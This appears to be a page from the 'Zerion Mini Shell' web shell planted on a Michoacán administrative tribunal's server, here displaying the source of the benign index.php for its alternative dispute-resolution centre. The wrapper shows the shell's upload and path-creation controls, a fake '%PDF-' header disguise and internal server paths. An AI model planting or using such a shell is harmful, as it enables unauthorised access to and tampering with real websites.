%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cmasc.tjamich.gob.mx/
Upload File :
Create Path :
Current File : /home/tjamichg/cmasc.tjamich.gob.mx/index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TJAM MASC</title>
    <link rel="stylesheet" href="css/styles.css">
    <link rel="shortcut icon" href="imgs/logo-CMASC.png"" />

    <link href="https://unpkg.com/aos@2.3.4/dist/aos.css" rel="stylesheet">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/loaders.css/0.1.2/loaders.min.css">

    <!--INTEGRA2-->

    <script src='https://code.jquery.com/jquery-3.4.1.min.js' type='text/javascript'></script>

    <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=header&aut=tjamich.gob.mx" type="text/javascript"></script>

</head>
<body>
  <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=body&aut=tjamich.gob.mx" type="text/javascript"></script>


  <div id="loader-container">
    <img src="imgs/logo-CMASC.png" alt="" class="rotate-loader">
 </div>
  

  <div class="container-top-cmasc" id="topbar">
    <div class="container-logo-top-cmasc">
      <img class="logo-top-cmasc" src="imgs/logo-taam-4k.png" alt="">
    </div>
    <div class="container-href-cmasc">
      <p class="href-cmasc" onclick="window.open('https://portal.tjamich.gob.mx/Tribunal-en-Materia-Anticorrupci%C3%B3n-y-Administrativa-de-Michoacan-de-Ocampo', '_blank')">Tribunal en Materia Anticorrupción y Administrativa</p>
    </div>
  </div>

  <nav class="cmasc-navbar" role="navigation" aria-label="Menú principal" id="navbar">
  <div class="cmasc-logo">
    <img class="cmasc-logo-img" src="imgs/logo-CMASC.png" alt="Logo CMASC">
  </div>
  <div class="cmasc-titulo">
    <h3>Centro de Mecanismos Alternativos de la Solución de Controversias</h3>
  </div>
  <div class="cmasc-toggle" id="cmasc-toggle" aria-label="Abrir menú" aria-expanded="false">
    <span class="cmasc-toggle-bar"></span>
    <span class="cmasc-toggle-bar"></span>
    <span class="cmasc-toggle-bar"></span>
  </div>

  <ul class="cmasc-nav-links" id="cmasc-nav">
    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#Inicio">Inicio</a></li>
    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#Nosotros">Nosotros</a></li>
    
        <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#Servicios">Servicios</a></li>
    
    <!-- <li class="cmasc-nav-item cmasc-has-submenu">
      <a href="#" class="cmasc-nav-link cmasc-submenu-toggle">Servicios <i class="fas fa-chevron-down"></i></a>
      <ul class="cmasc-submenu">
        <li class="cmasc-submenu-item"><a class="cmasc-submenu-link" onclick="redirectWithLoading('mediacion.php')">Mediación</a></li>
        <li class="cmasc-submenu-item"><a class="cmasc-submenu-link" href="#">Conciliación</a></li>
        <li class="cmasc-submenu-item"><a class="cmasc-submenu-link" href="#">Asesoría Legal</a></li>
      </ul>
    </li>-->
    <!-- <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#Noticias">Noticias</a></li>  -->
    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#Contacto">Contacto</a></li>
  </ul>
</nav>


<?php //include 'php/faqs.php';
include 'php/whatsapp.php';
?>



    <section data-aos="fade" class="section section-banner section-md section-fluid bg-default" id="Inicio">
<div class="carrusel-cmasc">
        <ul class="slides-cmasc">
          <input class="input-cmasc" type="radio" name="radio-buttons" id="img-1" checked />
          <li class="slide-container-cmasc">
            <div class="slide-image-cmasc">
              <img class="img-cmasc" src="imgs/cmasc-img-1.jpg">
            </div>
            <!--<div class="slide-text-cmasc">
              <p class="text-slider-left">Centro de Mecanismos Alternativos de la Solución de Controversias.</p>
            </div>-->
            
          </li>
          <input class="input-cmasc" type="radio" name="radio-buttons" id="img-2" />
          <li class="slide-container-cmasc">
            <div class="slide-image-cmasc">
              <img class="img-cmasc" src="imgs/cmasc-img-2.0.jpg">
            </div>
            <!--<div class="slide-text-cmasc">
              <p class="text-slider-left">Resolviendo conflictos de forma pacífica y eficiente.</p>
            </div>-->
          </li>

          <input class="input-cmasc" type="radio" name="radio-buttons" id="img-3" />
          <li class="slide-container-cmasc">
            <div class="slide-image-cmasc">
              <img class="img-cmasc" src="imgs/cmasc-img-3.0.jpg">
            </div>
            <!--<div class="slide-text-cmasc">
              <p class="text-slider-left">Solucionar con diálogo, decidir con justicia.</p>
            </div>-->
          </li>

          <div class="carousel-dots">
            <label for="img-1" class="carousel-dot" id="img-dot-1"></label>
            <label for="img-2" class="carousel-dot" id="img-dot-2"></label>
            <label for="img-3" class="carousel-dot" id="img-dot-3"></label>
          </div>
        </ul>
      </div>
    </section>

    <div data-aos="fade-left" class="container-temporal" id="Nosotros">
      <img src="imgs/Nosotros.png" alt="">
    </div>

    <br><br><br><br><br>

    <div class="container-areas-cmasc">
      <h2 class="titulo-areas"></h2>

      <div class="container-botones" data-aos="fade-right">
      <div class="botones-areas-cmasc">
        <img src="imgs/negociacion.png" alt="" class="img-botones">
        <p class="titulo-boton-areas"></p>
      </div>

      <div class="botones-areas-cmasc">
        <img src="imgs/negociacion-colaborativa.png" alt="" class="img-botones">
        <p class="titulo-boton-areas"></p>
      </div>

      <div class="botones-areas-cmasc">
        <img src="imgs/mediacion.png" alt="" class="img-botones">
        <p class="titulo-boton-areas"></p>
      </div>
      <div class="botones-areas-cmasc">
        <img src="imgs/conciliacion.png" alt="" class="img-botones">
        <p class="titulo-boton-areas"></p>
      </div>
      </div>

    </div>


   <!-- <div data-aos="fade-right" class="container-temporal">
      <img src="imgs/Captura de pantalla2.png" alt="">
    </div> -->



    <section class="section section-md section-fluid bg-default">      
        <!-- Archivo CSS externo -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
      <br>
        <div class="container-tramites-cmasc">
          <!-- Buscador -->
          

          <!-- Tarjetas -->
          <div class="grid-container-cmasc" data-aos="fade-left">
            <div class="card-tramites-cmasc" data-modal="modal1">
              <i class="i-cmasc fas fa-brain"></i>
              <h2 class="titulo-card-cmasc">Misión</h2>
            </div>

            <div class="card-tramites-cmasc" data-modal="modal2">
              <i class="i-cmasc fas fa-eye"></i>
              <h2 class="titulo-card-cmasc">Visión</h2>
            </div>


            <div class="card-tramites-cmasc" data-modal="modal3">
              <i class="i-cmasc fas fa-info-circle"></i>
              <h2 class="titulo-card-cmasc">Objetivos Estratégicos</h2>
       
            </div>

           

            <!--<div class="card-tramites-cmasc">
              <i class="i-cmasc fas fa-info-circle"></i>
              <h2 class="titulo-card-cmasc">Información</h2>
              <p class="sub-card-cmasc">oficial</p>
            </div>-->
          </div>
        </div>
    </section>

    <!--<div class="info-conci-container">
      <div class="container-conci-cmasc">
        <h1 class="tit-conci">¿Qué es la Conciliación?</h1>
        <p class="info-conci">La Conciliación en Materia Administrativa es un método alterno y gratuito para la solución de conflictos entre particulares y autoridades, con la intervención de un conciliador neutral, se proponen diversas opciones con la finalidad de llegar a un acuerdo.

        Derivado de una reforma a la Ley Orgánica del TJA Guanajuato y al Código de Procedimiento y Justicia Administrativa para el Estado y los Municipios de Guanajuato, se creó la Unidad de Conciliación adscrita al Tribunal de Justicia Administrativa del Estado de Guanajuato.</p>
      </div>
      
      <div class="container-conci-img">
        <img src="imgs/conciliacion-img.png" alt="" class="conci-img">
      </div>
      <div class="container-cards-conci">
        <div class="sub-conci">

        </div>
        <div class="cards-conci">
          <i class=""></i>
        </div>
        <div class="cards-conci"></div>
        <div class="cards-conci"></div>
      </div>

    </div>-->

    <section class="section section-md section-fluid bg-default" id="Servicios"> 
    
    <div class="carousel-track" id="carousel" data-aos="fade-right" 	data-aos-duration="1000">

        <div class="container-carousel-item-cmasc">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-1.jpg" alt="PDF 1">
        <div class="text-carousel-cmasc">
        <h3>Plan de Desarrollo</h3>
        <p>15 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>

        <div class="container-carousel-item">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-2.png" alt="PDF 2">
        <div class="text-carousel-cmasc">
        <h3>Informe de Seguridad</h3>
        <p>10 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>


        <div class="container-carousel-item">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-3.webp" alt="PDF 3">
        <div class="text-carousel-cmasc">
        <h3>Presupuesto Anual</h3>
        <p>5 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>


        <div class="container-carousel-item">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-4.jpg" alt="PDF 4">
        <div class="text-carousel-cmasc">
        <h3>Presupuesto Anual</h3>
        <p>5 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>


        <div class="container-carousel-item">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-5.jpg" alt="PDF 5">
        <div class="text-carousel-cmasc">
        <h3>Presupuesto Anual</h3>
        <p>5 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>


        <div class="container-carousel-item">
        <div class="carousel-item-cmasc">
        <img class="img-carousel-cmasc" src="imgs/prueba-6.jpg" alt="PDF 6">
        <div class="text-carousel-cmasc">
        <h3>Presupuesto Anual</h3>
        <p>5 de mayo de 2025</p>
        </div>
        <div class="pdf-preview-cmasc">
            <iframe class="pdf-iframe-cmasc" src="pdfs/pdf_demostrativo_simple.pdf" frameborder="0"></iframe>
        </div>
        </div>
        <button class="button-cmasc-documento" data-pdf="pdfs/pdf_demostrativo_simple.pdf">Ver documento</button>
        </div>
    </div>
    </section>


    <section class="section section-md section-fluid bg-default" id="Contacto">
    <div class="container-maps-ubi-cmasc" data-aos="fade-down">
        <div class="card-maps-cmasc">
            <iframe src="https://www.google.com/maps/embed?pb=!4v1755101129283!6m8!1m7!1si6XILhPikVaH5KCdYFB6fQ!2m2!1d19.71652140004555!2d-101.2346167501037!3f141.89732091206747!4f-20.91685670377977!5f0.7820865974627469" width="100%" height="100%" style="border:0; border-radius: 20px;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
        </div>
        <div class="card-ubi-cmasc">
            <div class="container-ubi-cmasc">
              <div class="link-ubi-cmasc" onclick="window.location.href='https://maps.app.goo.gl/a7UEfZdsd7oTpEih8'">
                <i class="fas fa-map-marker"></i>
                <p>Agustín Gutierrez Nº 215,
Fraccionamiento Defensores de Puebla</p>
              </div>
                <i class="fas fa-phone-alt"></i>
                <p>Tel: (443) 316-1459</p>
                <i class="fas fa-envelope"></i>
                <p>Email: cmasc@tjamich.gob.mx</p>
            </div>
        </div>
    </div>
    </section>

    <div class="container-faqs-cmasc-footer" id="faqToggle">
          <h2>Preguntas Frecuentes</h2>

              <div class="faq-item">
    <button class="faq-question">¿Qué es el Centro de Mecanismos Alternativos de Solución de Controversias? </button>
    <div class="faq-answer">
      <p>El Centro de Mecanismos Alternativos de Solución de Controversias del Tribunal de Justicia Administrativa del Estado de Michoacán de Ocampo y se instituye para implementar los mecanismos alternos de solución de controversias, particularmente la mediación, conciliación, negociación y negociación colaborativa en la materia administrativa.</p>
    </div>
  </div>

  <div class="faq-item">
    <button class="faq-question">¿Qué son los MASC?</button>
    <div class="faq-answer">
      <p>Los Mecanismos Alternativos de Solución de Controversias (MACS), son procedimientos no jurisdiccionales cuyo objeto consiste en propiciar la avenencia entre las partes de manera voluntaria, pacífica y benéfica para ambas, a través de concesiones recíprocas, en una controversia o conflicto presente o futura.</p>
    </div>
  </div>

  <div class="faq-item">
    <button class="faq-question">¿En donde se encuentra ubicado el Centro de Mecanismos Alternativos de Solución de Controversias? </button>
    <div class="faq-answer">
      <p>El Centro se encuentra ubicado en la calle Calle Agustín Gutiérrez esquina con la calle Anselmo Ortega, Colonia Defensores de Puebla número 215, en esta ciudad capital.</p>
    </div>
  </div>

  <div class="faq-item">
    <button class="faq-question">¿Cuántos y cuáles son estos métodos alternos?</button>
    <div class="faq-answer">
      <p>De conformidad con la ley de la materia son cuatro los métodos alternos:
      <li>1.- Mediación</li>
      <li>2.- Conciliación</li>
      <li>3. Negociación</li>
      <li>4. Negociación Colaborativa.</li>
    </p>
    </div>


    <div class="faq-item">
    <button class="faq-question">¿Cuál es el costo del procedimiento en caso de que solicite la conciliación y/o mediación y/o negociación?</button>
    <div class="faq-answer">
      <p>Todos nuestros servicios son totalmente gratuitos.</p>
    </div>
  </div>


  <div class="faq-item">
    <button class="faq-question">¿Cuáles son los beneficios de solicitar un procedimiento de conciliación y/o mediación y/o negociación?</button>
    <div class="faq-answer">
      <p>Es flexible, confidencial, gratuito, imparcial, de fácil acceso, eficaz y de pronta resolución.</p>
    </div>
  </div>



  <div class="faq-item">
    <button class="faq-question">¿Si solicito la aplicación de un mecanismo de solución de controversias es obligatorio que llegue a un acuerdo?</button>
    <div class="faq-answer">
      <p>Los Mecanismos Alternativos de Solución de Controversias son voluntarios, por lo tanto, sólo se llega a un acuerdo si ambas partes están de acuerdo.</p>
    </div>
  </div>




  <div class="faq-item">
    <button class="faq-question">¿Qué pasa si no se llega a un convenio?</button>
    <div class="faq-answer">
      <p>Continua por su cauce legal.</p>
    </div>
  </div>


  <div class="faq-item">
    <button class="faq-question">¿Qué alcance tiene el convenio en el procedimiento de conciliación y/o mediación y/o negociación?</button>
    <div class="faq-answer">
      <p>Tiene el mismo valor que una sentencia.</p>
    </div>
  </div>



  <div class="faq-item">
    <button class="faq-question">¿Qué pasa si una de las partes no asiste a la sesión conciliación y/o mediación y/o negociación?</button>
    <div class="faq-answer">
      <p>Se reprograma la audiencia, girándose nuevamente las invitaciones respectivas con la fecha, hora y lugar de su celebración.</p>
    </div>
  </div>



  <div class="faq-item">
    <button class="faq-question">¿Es necesario tener una persona que brinde asesoría jurídica en los MASC?</button>
    <div class="faq-answer">
      <p>No siempre es necesario contar con una persona que brinde a asesoría jurídica en los MASC, pero puede ser recomendable, especialmente en casos complejos o para asegurar la defensa de los intereses de las partes. En caso de que no cuentes con una persona que te asesore el Tribunal te puede asignar una persona servidora publica para que te brinde la asesoría legal que requieras.</p>
    </div>
  </div>
    </div>

    <footer class="footer-general" data-aos="fade-up">
      <div class="container-igm-footer">

        <div class="container-info">
          <div class="container-contactos">
          <h2 class="cmasc-tit-footer">Oficina del Centro de Mecanismos Alternativos de Solución de Controversias </h2>
          <h4 class="cmasc-sub-footer">Agustín Gutierrez Nº 215,
Fraccionamiento Defensores de Puebla</h4>
          <ul class="cmasc-lista">
            <li class="cmasc-item">
              <i class="fa-solid fa-phone cmasc-icono"></i> Tel: (443) 316-1459
            </li>
          </ul>

         
          </div>
        </div>


        <div class="container-info">
          <div class="container-contactos">
         
          </ul>
          </div>
        </div>

        <div class="container-info-redes">

         
         <a target="_blank" href="https://www.youtube.com/channel/UCPK3sqK1k4vPMzc2NfEP-vA"> <div class="container-redes">
            <i class="fa-brands fa-youtube"></i>
          </div>
          </a>
         
          
          <a target="_blank" href="https://www.youtube.com/channel/UCPK3sqK1k4vPMzc2NfEP-vA"> 
          <div class="container-redes">
            <i class="fa-brands fa-facebook"></i>
          </div>
            </a>
          
          
        </div>
        
        <div class="container-info">
          <div class="container-img-footer" data-aos="flip-left">
            <img class="cmasc-logo-footer" src="imgs/logo-CMASC.png" alt="">
          </div>
        </div>
      </div>
    </footer>

    
    <!--Modal de los servicios-->

      <div class="cmasc-modal" id="modal1">
      <div class="cmasc-modal-contenido">
        <span class="cmasc-cerrar">&times;</span>
        <h2>Misión</h2>
        
        <div class="vanilla-slider">
  <div class="vanilla-slider__bullets">
    <!--<ul>
      <li><a href="#slide-1">1</a></li>
      <li><a href="#slide-2">2</a></li>
      <li><a href="#slide-3">3</a></li>
      <li><a href="#slide-4">4</a></li>
      <li><a href="#slide-5">5</a></li>
    </ul>-->
  </div>
  
  <!--<ul class="vanilla-slider__slide-list">
    <li id="slide-1" class="vanilla-slider__slide">
      <img src="imgs/cmasc-img-1.jpg">
      <div class="controls">
        <a class="prev" href="#slide-5"></a>
        <a class="next" href="#slide-2"></a>
      </div>
    </li>
    <li id="slide-2" class="vanilla-slider__slide">
      <img src="imgs/cmasc-img-2.0.jpg">
      <div class="controls">
        <a class="prev" href="#slide-1"></a>
        <a class="next" href="#slide-3"></a>
      </div>
    </li>
    <li id="slide-3" class="vanilla-slider__slide">
      <img src="imgs/cmasc-img-3.0.jpg">
      <div class="controls">
        <a class="prev" href="#slide-2"></a>
        <a class="next" href="#slide-4"></a>
      </div>
    </li>
    <li id="slide-4" class="vanilla-slider__slide">
      <img src="https://picsum.photos/seed/24/1920/1080">
      <div class="controls">
        <a class="prev" href="#slide-3"></a>
        <a class="next" href="#slide-5"></a>
      </div>
    </li>
    <li id="slide-5" class="vanilla-slider__slide">
      <img src="https://picsum.photos/seed/25/1920/1080">
      <div class="controls">
        <a class="prev" href="#slide-4"></a>
        <a class="next" href="#slide-1"></a>
      </div>
    </li>
  </ul>-->
  <style>
.vanilla-slider__slide img {
    width: 1100px;       /* Ancho deseado */
    height: auto;       /* Mantiene la proporción */
    border-radius: 15px; /* Bordes redondeados */
    display: block;      /* Para poder centrar si quieres */
    margin: 0 auto;      /* Centra horizontalmente */
}
</style>
  <div class="vanilla-slider__slide">

    <img src="imgs/Modal.jpg">

  </div>
</div>
        <!--<div class="sobretext-cmasc-modal">
          <p>De acuerdo con lo establecido en el artículo 6º del Código de Ética de las Personas Servidoras Públicas del Tribunal de Justicia Administrativa del Estado de Michoacán de Ocampo, es misión del tribunal impartir justicia en materia fiscal y administrativa con plena autonomía, honestidad y calidad a servicio de la sociedad, que garantice el acceso total a la justicia, apegado a los principios propios de la función.
          En ese sentido el Centro de MASC, será la unidad encargada de promover la resolución pacífica y equitativa de conflictos a través de mecanismos alternativos, brindando soluciones eficientes y adecuadas para las partes involucradas, garantizando el derecho de acceso a la justicia en su vertiente de solución alterna de controversias, para así contribuir a una convivencia social pacífica y en armonía.
          </p>
      </div>-->
      
        
      </div>


<?php

include'modal_objetivos.php';
include'modal_vision.php';

?>

      <script src="js/script.js"></script>

      <script src="https://unpkg.com/aos@2.3.4/dist/aos.js"></script>
      <script>
        AOS.init();
      </script>

      <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=footer&aut=tjamich.gob.mx" type="text/javascript"></script>
  </body>
 
</div>
</html>

Zerion Mini Shell 1.0